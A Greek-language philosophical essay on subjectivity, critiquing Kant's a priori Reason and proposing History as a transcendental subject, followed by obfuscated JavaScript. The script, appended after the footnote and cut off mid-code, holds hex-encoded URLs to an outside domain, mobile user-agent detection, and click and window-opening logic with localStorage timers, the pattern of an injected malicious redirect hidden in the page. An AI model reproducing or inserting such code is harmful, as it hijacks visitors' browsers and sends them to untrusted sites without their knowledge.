ΦΙΛΟΣΟΦΙΚΟ ΔΟΚΙΜΙΟ ΓΙΑ ΤΗΝ ΥΠΟΚΕΙΜΕΝΙΚΟΤΗΤΑ

Θα δεις και θα βιώσεις, τις αντιφάσεις, τις ασυμμετρίες και τις ρήξεις από μακριά και από κοντά, μέσα και έξω από τον εαυτό σου, έως ότου ανακαλύψεις πως η ελευθερία σου μοιάζει περισσότερο με χίμαιρα επιθυμίας παρά με εύληπτη πραγματικότητα.

Ο εξωτερικός κόσμος είναι γεμάτος απ’ αυτές οι οποίες εισέρχονται εντός σου και σε αλλοιώνουν αργά και προοδευτικά. Όμως θα μπορούσαμε να πούμε και το αντίθετο πως δηλαδή ο εαυτός σου είναι πλασμένος από αυτά τα χαρακτηριστικά των αντίπαλων συστατικών που μεταφέρονται στον εξωτερικό κόσμο. Ποια από τις δύο εκδοχές είναι η ισχύουσα; Ίσως όμως υπάρχει και μία τρίτη η οποία περιγράφεται από την σύνθεση των δύο και αποτελεί μία ενότητα κόσμου και υποκειμένου, αντικειμενικού και υποκειμενικού.

Οι φιλόσοφοι που προσπάθησαν και προσπαθούν να δώσουν απαντήσεις με αξιώσεις εγκυρότητας στα παραπάνω ερωτήματα έχουν συστήσει αντίπαλες ομάδες που αντί να φωτίσουν το πεδίο της ύπαρξης ή μάλλον το πεδίο της συνύπαρξης κόσμου και υποκειμένου το έχουν εμφανώς σκοτίσει. Εμπειριστές, μεταφυσικοί, ρεαλιστές, αγνωστικιστές, συνθετικοί και ωφελιμιστές, έχουν διογκώσει το φιλοσοφικό Κείμενο σε τέτοιο βαθμό που το τέλος του μοιάζει με αρχή και η αρχή με τέλος.

Από τον ορισμό των πραγμάτων, δεν θα μπορούσε να υπάρξει άλλη αρχή από αυτή που παραδέχεται πως ο άνθρωπος είναι αυτός που δημιουργεί και ωφελείται από τη φιλοσοφική σκέψη. Γιατί αν ήταν άλλως θα έπαυε να υπάρχει κάθε ενδιαφέρον γι' αυτήν. Αν δεχθούμε αυτήν την αρχή τότε θα πρέπει να αποδώσουμε στον άνθρωπο ορισμένες ικανότητες σύλληψης και κατανόησης του κόσμου μέσα στον οποίο ο ίδιος διατελεί. Οι ικανότητες αυτές δίδονται apriori στο ανθρώπινο όν ή είναι παράγωγες από την εμπειρία;

Η φιλοσοφία της ανάμνησης του Πλάτωνα μας υπόσχεται πως οι ικανότητες συνοδεύουν τον άνθρωπο από το εξωκοσμικό βασίλειο των Ιδεών ενώ η επιστημολογία του Κάντ τροποποιεί λίγο τη πλατωνική πρόταση λέγοντας μας πως οι ικανότητες προέρχονται από τον κόσμο της υπερβατολογικής αισθητικής δηλαδή έξω από την εμπειρία και μας δίδονται apriori
. Στη πρώτη περίπτωση ο άνθρωπος είναι μια αδιάλειπτη ροή μέσα στη μεταφυσική χρονικότητα ενώ στη δεύτερη περίπτωση είναι μια συμπυκνωμένη οντότητα, αποτέλεσμα ταυτόχρονα της χωροχρονικής εποπτείας και του Είναι δηλαδή της ουσίας του Κόσμου. Και στη μία και στην άλλη περίπτωση όμως ο άνθρωπος υποκείμενο, το Είναι εδώ να, όπως θα πει ο Χάϊντεγγερ, είναι ανήμπορος να γνωρίσει τον κόσμο των πραγμάτων, δηλαδή να οντοποιηθεί μέσα του και καταφεύγει σε μορφές αναπαράστασης του, μοναδικό πεδίο άλλωστε στο οποίο εξαντλούνται οι ικανότητες του.

Μέσω της ζωής, δηλαδή μέσω της καθημερινής εμπειρίας, ο άνθρωπος σχηματίζει παραστάσεις πραγμάτων και όχι τη γνώση για τα πράγματα καθ' εαυτά. Οι παραστάσεις αυτές όμως των ασύνδετων και ατελών εμπειρικών στοιχείων απαιτούν ένα μηχανισμό σύνθεσης και απόδοσης ερμηνευτικού νοήματος. Το ανθρώπινο όν είναι αυτό που μόνο απ' όλα τα όντα διαθέτει αυτό το μηχανισμό εννοιολογικής σύνθεσης και που συνεχώς τον βελτιώνει. Παράγει έτσι νοήματα που μόνιμα αλλάζουν διάταξη σημαντικότητας αλλά ωστόσο δεν μπορούν ακόμα να συλλάβουν τα όντα στην ολότητα τους επακριβώς.

Το γεγονός ότι η διάταξη εννοιολογικής σημαντικότητας διαρκώς μεταβάλλεται αποκαλύπτει πως το ανθρώπινο όν περιπίπτει από το ένα σφάλμα στο άλλο ή επιεικέστερα από την μία ατέλεια σύλληψης στην άλλη. Με την έννοια αυτή η ανθρώπινη ιστορία είναι ασφαλώς μια χαρωπή ιστορία σφαλμάτων. Δημόκριτος, Πτολεμαίος, Κοπέρνικος,

Γαλιλαίος, Νεύτων, Ράδερφοντ, Μπόρς, Πλάνκ, Πριγκοζίν, κλπ., για να μείνουμε μόνο στη φυσική γιατί στις κοινωνικές επιστήμες τα πράγματα είναι ακόμα πιο πολύπλοκα σφαλμάτων.

Αν αποδεχθούμε την έννοια της υπερβατολογικής γνώσης του Κάντ θα πρέπει να αποδεχθούμε ταυτόχρονα πως ο άνθρωπος εκείνο που προσπαθεί να κάνει καταληπτό γνωστικά μέχρι τώρα, είναι ο τρόπος με τον οποίο ο ίδιος σκέπτεται και όχι τα ίδια τα αντικείμενα, δηλαδή το κόσμο των όντων. Τα όντα έτσι και αλλιώς αφού δεν μπορούν να γίνουν προσιτά καθ' όλα τουλάχιστον θα μπορούσαν να αποτελέσουν το αιτιολογικό πεδίο για να γίνει γνωστός ο τρόπος με τον οποίο σκέπτεται και γνωρίζει το ανθρώπινο όν. Ως υπερβατολογική γνώση ορίστηκε κάθε γνώση η οποία δεν ασχολείται με τα αντικείμενα αλλά με τον τρόπο που γνωρίζουμε τα αντικείμενα. Επί πλέον αυτή δεν προέρχεται από την εμπειρία αλλά μας δίδεται apriori. Δηλαδή κατά τον Κάντ οι γνωστικές λειτουργίες του νου είναι εκείνο που μας ενδιαφέρει πρωτίστως και κατόπιν ο τρόπος που συλλαμβάνονται τα αντικείμενα της φύσης. Την ικανότητα των αναλυτικών και συνθετικών προτάσεων περί αληθείας την διαθέτει και την αναπτύσσει ο άνθρωπος όχι με βάση την εμπειρία που βιώνει από την ύπαρξη του αλλά την κατέχει εκ των προτέρων και αυτή βρίσκεται εκτός του εμπειρικού κόσμου. Για να γνωρίσει όμως ο άνθρωπος θα πρέπει να κατέχει ορισμένα εννοιολογικά εργαλεία, τις κατηγορίες της εποπτείας, όπως ο χώρος, ο χρόνος, το μέγεθος, η υπόσταση, η αιτιότητα, κλπ, με τη χρήση των οποίων μπορεί να συνδέσει τα εμπειρικά δεδομένα παράγοντας νοήματα είτε αυτά αφορούν τις μορφές της ηθικής, της αισθητικής ή της θεωρίας.

Ας πάρουμε για παράδειγμα το όν «χώρος». Η γνώση μας γι' αυτό δεν μπορεί να το προσεγγίσει λαμβάνοντας ως δεδομένο την παράσταση του, στην οποία εμπλέκονται και ψυχολογικοί παράγοντες, αλλά πρέπει πρώτα να κατέχουμε τη γνώση περί της γεωμετρίας και κατόπιν τη γνώση περί του χώρου από την οποία αυτός εξαρτάται. Μ' αυτό τον τρόπο ορίζεται και η υποκειμενικότητα. Η ιδιαιτερότητα της λειτουργίας της γνώσης είναι αυτή που προσδιορίζει την ιδιαιτερότητα και του αντικειμένου της γνώσης. Το ίδιο συμβαίνει και με τους αριθμούς. Πρέπει πρώτα να γνωρίζουμε την «αρχή της καταμέτρησης» και κατόπιν να συλλάβουμε τη σημασία των αριθμών.

Το ερώτημα που τίθεται εδώ, με την καντιανή σύλληψη, είναι το ακόλουθο: αφού η ικανότητα να γνωρίζουμε ενυπάρχει εκ των προτέρων όχι στη μεταφυσική πλατωνική της μορφή αλλά δια μέσω των κατηγοριών, πως αυτές οι τελευταίες έχουν διαμορφωθεί; Ο Κάντ μας λέγει όχι, όχι από την εμπειρία, ενώ ο Λόκ ισχυρίζεται πως το ανθρώπινο ον έρχεται ως «άγραφος χάρτης» που σχηματοποιείται προοδευτικά από τον εμπειρικό κόσμο και την εσωτερική παρατήρηση. Αφού όχι από την εμπειρία τότε λέγει ο Καντ πως αυτές έχουν διαμορφωθεί από το Λόγο ο οποίος όμως και αυτός θα πρέπει να διαθέτει μία αφετηρία καταγωγής και διαμόρφωσης γιατί δεν υπάγεται στο Είναι του αντικειμενικού κόσμου. Έτσι αποκαλύπτεται μία ταυτολογία της καντιανής φιλοσοφίας. **Οι γνωστικές λειτουργίες μέσω έλλογων κατηγοριώ ν δεν δίδονται από την εμπειρία αλλά κατάγονται από το Λόγο ό οποίος όμως είναι δημιούργημα και των βιοτικώ ν εμπειριώ ν του ανθρώ πινου όντος**

.

Ο Καντ απορρίπτει τη δογματική μεταφυσική που τα ανάγει όλα στη Θεία σφαίρα και την αντικαθιστά με ένα άλλο είδος μεταφυσικής. Αυτής του Λόγου την οποία αποκόπτει από το γίγνεσθαι της μέσω της αλληλεπίδρασης του νοείν και της εμπειρικής ύλης.

Η αυθεντικότητα της αυθυπαρξίας του Λόγου γίνεται ακόμα πιο εμφανής όταν εξετάζει την φιλοσοφία της ηθικής. Ο Κάντ θεωρεί την ηθική ως αποτέλεσμα δύο προστακτικών επιταγών. Της υποθετικής και της κατηγορικής. Φυσικά απορρίπτει την υποθετική προστακτική της ηθικής γιατί αυτή συνδέεται με τον ωφελιμισμό του ιδιοτελούς. Επιδιώκω να είμαι ηθικός γιατί αυτό μου προσθέτει μονάδες υπόληψης στο κοινωνικό μου χώρο ή μου αυξάνει τις πιθανότητες προαγωγής στον επαγγελματικό μου χώρο. Αντίθετα η προστακτική έννοια της ηθικής είναι αυτή που δεν συνδέεται με την εμπειρία αλλά είναι εγγεγραμμένη στις αρχές του Λόγου. Είμαι ηθικός ανεξάρτητα από τις επιπτώσεις που αυτό θα έχει στο οικογενειακό ή κοινωνικό μου περιβάλλον. Ενυπάρχει μέσα μου ο ηθικός νόμος και αυτός εκδηλώνεται σε κάθε περίπτωση πράξης είτε αυτή γίνεται αντιληπτή από τους άλλους είτε όχι. Δεν πράττω κανένα είδος αδικήματος έστω και αν είμαι σε ασφαλή θέση έστω και αν είμαι απολύτως σίγουρος ότι αυτό δεν πρόκειται να αποκαλυφθεί ποτέ και από κανένα. Για τον Καντ η υποθετική προστακτική (προσταγή) της ηθικής συνδέεται με τις αναλυτικές διεργασίες της σκέψης ενώ η κατηγορική προσταγή με τις συνθετικές. Οι πρώτες συνδέονται με την εμπειρία δηλαδή ενώ οι δεύτερες όχι. Αλλά και εδώ παρουσιάζεται μια δεύτερη αντινομία. Αφού η κατηγορική προσταγή της ηθικής δεν

συνδέεται με την εμπειρία θα πρέπει ασφαλώς να προέρχεται από τις αρχές του Λόγου. Αλλά ο Λόγος αφού δεν είναι δώρο του Θεού, θα είναι δημιούργημα του ανθρώπου από τη σύνθεση του οποίου ασφαλώς δεν θα πρέπει να εξαιρείται η εμπειρία του βίου.

Εκείνο που φαίνεται ως αποτέλεσμα, είναι πως ο Καντ ενώ δεν θέλησε να κάνει Θεοσοφία, ούτε να υπηρετήσει τη μεταφυσική του θεϊκού δόγματος της εκκλησίας, τελικά μας εισήγαγε ένα άλλο είδος μεταφυσικής, πιο φιλελεύθερης, πιο ανθρώπινης, αλλά όχι ουσιαστικά διαφορετικής από το θρησκευτικό δογματισμό. Απλώς αντικατέστησε τη θεϊκή σοφία που προνόησε για τη νομοτέλεια της εξέλιξης, με τη σοφία του Λόγου, που απάδει από κάθε ανθρώπινη εμπειρία και δίδεται εκ των προτέρων, ως γνωστική ικανότητα.

Το πρόβλημα της γνώσης και της υποκειμενικότητας τίθεται με διαφορετικούς όρους σήμερα. Διακόσια και πλέον χρόνια πριν ο Καντ ή ο Λόκ και ο Χιούμ δεν μπορούσαν να είχαν προβλέψει τη πρόοδο της επιστήμης στο τομέα της βιολογίας ή της φυσικής ή ακόμα και της ψυχοφυσικής σύστασης του ανθρώπινου νου.

Θα θεωρήσουμε λοιπόν εξ' αρχής ότι ο άνθρωπος είναι ένα μεταβλητό μέγεθος που ζει, παράγει και αναπτύσσεται μέσα σε ένα επίσης μεταβλητό περιβάλλον. Όποτε επιτυγχάνεται συγχρονικότητα αυτή δεν μπορεί παρά να είναι προσωρινή. Επίσης η συγχρονικότητα δεν είναι κάτι που σχεδιάζεται από το υποκείμενο αλλά είναι κάτι που προκύπτει τυχαία και κάτω από την αυθόρμητη επίδραση συνδυασμένων φυσικών και κοινωνικών μεταβλητών μεγεθών.

Το ανθρώπινο όν διατελεί εν χώρω και χρόνω, με τη χρήση της λογικής, της

βούλησης, της αντίληψης και της νόησης. Κάθε ένα απ' αυτά τα τέσσερα περιεχόμενα υπάρχει σε σχέση με τα άλλα σχηματίζοντας ποικίλους συνδυασμούς.

Οι συνδυασμοί αυτοί είναι ικανοί να διαταχθούν σε ταξινομημένες ιεραρχίες αλλά αυτές κατά τη περίοδο της ζωής εμφανίζουν μεγάλη μταβλητότητα. Η επικράτηση για παράδειγμα μιας ιεραρχημένης τάξης με πυρήνα τη βούληση μπορεί να δώσει αποτελέσματα ωφελιμιστικού περιεχομένου που ευνοούν μια ορισμένη κοινωνική διάταξη. Ενώ μια άλλη ιεραρχία με πυρήνα υπεροχής τη λογική αποδίδει αποτελέσματα περισσότερο κοντά σε καταστάσεις ισορροπίας.

Η αντίληψη είναι ένας τρόπος να συλλαμβάνεται η εμπειρία. Οι άλλοι τρεις τρόποι αναλύονται σε περιεχόμενα που προσδιορίζονται κοινωνικά. Η θέληση (βούληση) ας πούμε πως είναι ένας τρόπος που δεν έχει όρια και μπορεί να κινηθεί σε ολόκληρο το φάσμα των προσφερόμενων δυνατοτήτων, κάνοντας λάθη. Από τη άλλη πλευρά η λογική και η νόηση είναι τρόποι οριοθέτησης και επεξεργασίας αντίστοιχα, των παρεχόμενων δυνατοτήτων που πολλές φορές βρίσκονται σε αντίθεση με τη βούληση που επιδοτείται από την αντίληψη.

Η αντίληψη φέρνει στη νόηση που είναι όργανο της διάνοιας τις απλές παραστάσεις (ιδέες) που λαμβάνει από την εμπειρία μέσω των αισθήσεων. Η διάνοια τώρα κάτω από τον αυστηρό έλεγχο και την εποπτεία του λόγου επεξεργάζεται το περιεχόμενο της νόησης και προσπαθεί να οικοδομήσει εύληπτες ταξινομήσεις ιδεών που τις χρησιμοποιεί κατάλληλα προκειμένου η δράσης της να έχει ευνοϊκά αποτελέσματα.

Ενώ η αντίληψη δέχεται παθητικά τον εμπειρικό κόσμο και διαμορφώνει την απεραντοσύνη της θέλησης, η νόηση μέσω της έλλογης υποκειμενικής ταξινόμησης δρα ενεργητικά διαμορφώνοντας εκ νέου τον εμπειρικό κόσμο. Οι ταξινομήσεις όμως για να είναι ενεργητικές προβαίνουν σε συνδυασμό και επεξεργασία των απλών παραστάσεων και δημιουργούν σύνθετες έννοιες ή ιδέες οι οποίες εδρεύουν στο Λόγο και ο οποίος είναι ο

μόνος ικανός να επενεργήσει στον εμπειρικό φυσικό κόσμο με παλινδρομικό τρόπο. Με την έννοια αυτή και κάτω από τις νέες αρχές της κβαντικής θεώρησης, η φυσική αντικειμεννικότητα καταργείται, κατά κάποιο τρόπο, αφού επηρεάζεται από την ανθρώπινη παρατήρηση.

Εδώ όμως ανακύπτει ένα άλλο ερώτημα. Ποια είναι η ποιότητα του Λόγου και ποιες οι κατηγορίες του. Δηλαδή ποια η ουσία του και ποια τα συμβεβηκότα του.

Ο Καντ άσκησε πολύπτυχη και πολυεπίπεδη κριτική στο Λόγο και στη διαμόρφωση του. Το ίδιο και οι περισσότεροι φιλόσοφοι μέχρι σήμερα. Το γεγονός αυτό, ότι δηλαδή ο Λόγος υπόκειται σε ασταμάτητη κριτική οφείλεται κυρίως στο γεγονός ότι αντιμετωπίζεται ως μια αποθήκη στέγασης όλων των πνευματικών δημιουργημάτων του ανθρώπου που επηρεάζουν τη δράση.

Αλλά ο Λόγος έχει πολλές εκφάνσεις και άλλους τόσους τρόπους. Κατ’ αρχήν είναι ένα σύστημα αρχών και αξιωμάτων, (α), είναι επίσης η λογική δεξιότητα του ανθρώπου να προσεγγίζει τον εσωτερικό και εξωτερικό κόσμο, (β), και είναι και η ομιλία, η λεκτική ικανότητα, (γ). Προφανώς το συνάθροισμα όλων αυτών δημιουργεί ένα αχανή χώρο πολύπλοκων κατηγοριών που πυροδοτεί εύκολα μεταβολές και άρα κριτικές.

Το λάθος που κάνει κατά τη γνώμη μου η μεταφυσική φιλοσοφία είναι **ότι προσπαθεί να κατανοήσει τις λειτουργίες του Λόγου μόνο σε συνάρτηση με τις λειτουργίες της διάνοιας. Παραγνωρίζει την υλική πραγματικότητα καθώ ς και το κοινωνικό γίγνεσθαι το οποίο αποφασιστικά επηρεάζει τη διαμόρφωση του Λόγου.**

Εδώ θα δούμε πως το α και β, ενώνονται και σχηματίζουν την πραγματικότητα της νοητικής εγρήγορσης. Πως συνάπτεται ο Λόγος από τη συμπεριφορά και πως αποκτά κοινωνική ωφελιμότητα. Στην αρχή όμως θα πρέπει να πούμε πως η λογική που παράγει τον Λόγο έχει την ικανότητα να διακρίνει, να ταξινομεί, να συνδέει τις παραστάσεις (ιδέες) και να συμπεραίνει.

Ο Αριστοτέλης μας παρέδωσε ένα μοντέλο λογικής επεξεργασίας της τυπικής διάταξης του κόσμου. Το μοντέλο αυτό στηρίζεται σε τέσσερις αρχές[1] η χρήση των οποίων μας αποδεικνύει αν ο λογικός συμπερασμός μας είναι έγκυρος ή άκυρος. Από τότε πέρασαν δεκάδες εκατοντάδες χρόνια και ο Λόγος αν και εμπλουτίστηκε «άπειρα», οι αξιωματικές αρχές του μεγάλου φιλόσοφου παραμένουν εν γένει σε ισχύ. Το ίδιο συμβαίνει και με τις δέκα κατηγορίες του. (ο Καντ πρόσθεσε και άλλες δύο). Βέβαια οι πρόσφατες έρευνες στη φυσική επιστήμη **καταστέλλουν την δύναμη της δεύτερης αρχής, της αντίφασης, γιατί απόδειξε ότι το φώ ς ταυτόχρονα μπορεί να είναι και σωματίδιο και κύμα, δύο αντίθετα, αλλά αυτό από άλλους φυσικούς δέχεται αμφισβήτηση.**

Ο αριστοτελικός Λόγος βρισκόταν στις πρώτες θεωρήσεις της φιλοσοφίας μέχρι τον 18ο αιώνα με κορύφωση τον μεσαίωνα. Το μοντέλο της λογικής είναι αυστηρά ορθολογικό και ντετερμινιστικό. Αποκλείει τη δύναμη του τυχαίου και της στοχαστικής πιθανότητας με τα οποία έχει εμπλουτισθεί ο Λόγος τις τελευταίες 7-8 δεκαετίες. Κατά την εξέλιξη του Λόγου έχουν παραχθεί αξιωματικές αρχές, που θα τολμούσα να πω, ότι δεν είναι λογικές, ή τουλάχιστον έτσι φαίνονται από τη θεώρηση του όλου. Ίσως υπακούουν στα κριτήρια της τυπικής λογικής του μέρους και συμφωνούν μ' αυτά αλλά αν θεαθούν από το υπέρ ατομικό, υπερβατικό επίπεδο του συνόλου τότε θα κριθούν ανορθολογικά. Για παράδειγμα τα αξιώματα του πνευματικού και οντολογικού ολοκληρωτισμού, διέθεταν μια λογική υπόστρωση για τα υποκείμενα που τα εισήγαγαν αλλά για το συνολικό υποκείμενο, την ανθρωπότητα δηλαδή και τη πρόοδο της, απέβησαν ανορθολογικά μετά την αξιολόγηση της καταστροφικής τους επίδρασης.

Αν στην αριστοτελική δέσμη των λογικών αρχών προσθέταμε άλλη μία, την οποία θα ονόμαζα αρχή της «**θετικής προαγωγικής σύζευξης**» τότε ίσως το λογικό μοντέλο αποκτούσε μεγαλύτερη εγκυρότητα. Την αρχή αυτή την ορίζω ως την συνένωση των διαφόρων μερών του λόγου που μπορούν να συνδυασθούν θετικά δηλαδή αρμονικά και λειτουργικά και όχι αντιφατικά, επιφέροντας μια ανύψωση του πνεύματος ιστορικά. Το ορθολογικό και ανορθολογικό είναι αδύνατον να κριθούν με μηδενική μεροληψία από τους φορείς τους αλλά κάτι τέτοιο είναι δυνατόν να γίνει από ένα υποκείμενο που είναι άνωθεν τους και έχει την ικανότητα να συνολοποιεί, δηλαδή να γίνεται ολοποιητικό και αυτό δεν είναι άλλο από την Ιστορία.

Η Ιστορία ως υπερβατικό, δηλαδή μη εμπειρικό υποκείμενο, μπορεί να προσφέρει την εγκυρότητα που αξιώνει ο Λόγος. Έτσι ο Λόγος διανοίγεται στο κοινωνικό και παύει να αναπαριστά μόνο νοητικές διεργασίες οι οποίες είναι πολύ πιθανό να σφάλλουν, ως προς την αποτύπωση του πραγματικού κόσμου.

Με τον τρόπο αυτό ο Λόγος αποκαθάρεται και δύναται τότε να αποτελέσει πρακτικό εργαλείο προαγωγής, στην ανθρώπινη προσπάθεια για ανύψωση.

Η τροποποίηση αυτή το Λόγου, δηλαδή ο νέος τρόπος συνδυαστικής των μερών, δεν μπορεί να επέλθει από τις τέσσερις λειτουργίες του νου που προαναφέραμε, δηλαδή από το κάθε υποκείμενο ξεχωριστά. Ανήκει στη δικαιοδοσία του συλλογικού υποκειμένου, που εκφράζεται μέσω της Ιστορίας και μόνο aposteriori και τμηματικά. Ωστόσο περιέχεται ως κληροδότημα στους επερχόμενους. Η «υποκειμενοποίηση» της Ιστορίας κατά περιόδους δεν είναι ιστορικισμός αλλά μετατροπή της από «πράγμα καθ' εαυτό» σε «πράγμα δι' εαυτόν», όπως θα έλεγε ο Καντ.

Έτσι παύει να είναι ένα «Σχέδιο εκ Θεού» όπως θα διατείνονταν ο Έγελος, ή μια άγνωστη περιοχή απροσπέλαστη και μη γνώσιμη, όπως ήταν ο Κόσμος για τους ρομαντικούς

μεταφυσικούς (Χάμανν, Βίκο) και γίνεται ένας χώρος θετικών δημιουργημάτων που εποπτεύεται από τον αποκαθαρμένο Λόγο.

Θάνος Κουρματζής

---

[1] Αρχή της ταυτότητας, της μη αντίφασης, της του τρίτου αποκλίσεως και την αρχή του αποχρώντος λόγου.

function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7ax52x54x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30x63x370','random','-local-storage','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation','4051490VdJdXO','test','open','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7ax63x51x36x63x386','12075252qhSFyR','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14

2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx4ex6ax74x31x63x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x309','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return
function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows
ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|awa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp(i|ip)|hs-c|ht(c(-|
|_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt(|/)|klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-|)|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0

